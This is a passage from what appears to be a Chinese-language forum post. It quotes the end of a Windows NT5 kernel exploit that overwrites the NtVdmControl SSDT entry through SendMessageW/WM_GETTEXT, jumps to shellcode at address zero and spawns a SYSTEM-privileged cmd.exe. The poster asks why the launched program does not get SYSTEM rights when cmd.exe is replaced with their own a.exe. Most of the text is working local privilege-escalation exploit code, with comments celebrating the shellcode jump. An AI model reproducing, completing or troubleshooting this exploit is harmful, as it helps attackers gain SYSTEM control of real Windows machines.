      GetVersionEx ((OSVERSIONINFO *) &OsVersionInfo);

      if ( OsVersionInfo.dwMajorVersion != 5 ) {

          printf( "Not NT5 system\n" );
          ExitProcess( 0 );
      }
      //Get Operatiny System Version
         
      InitTrampoline();

      SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, (char*)PntVdmControl );
      SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, (char*)PntVdmControl+2);//覆盖NtVdmControl所在的SSDT表,覆盖后结果为0x0
      printf("\n[+] Executing Shellcode...\n");

      ZwVdmControl(0, NULL);//这里就是call 0x0了,跳转执行我们的shellcode,哈哈:)
      GetStartupInfo( &stStartup );

      CreateProcess( NULL,
          "cmd.exe",
          NULL,
          NULL,
          TRUE,
          NULL,
          NULL,
          NULL,
          &stStartup,
          π );  //此时创建的cmd.exe是SYSTEM权限

      printf("[+] Exiting...\n");

      return TRUE;
    }

    我把以上程式中的
      CreateProcess( NULL,
          "cmd.exe",
          NULL,
          NULL,
          TRUE,
          NULL,
          NULL,
          NULL,
          &stStartup,
          π );  //此时创建的cmd.exe是SYSTEM权限

    改成自已的程式 即把 cmd.exe改成a.exe為何這個a.exe不是SYSTEM權限 還是一般用戶權限呢?
    游客
    登录 | 注册 方可回帖
    返回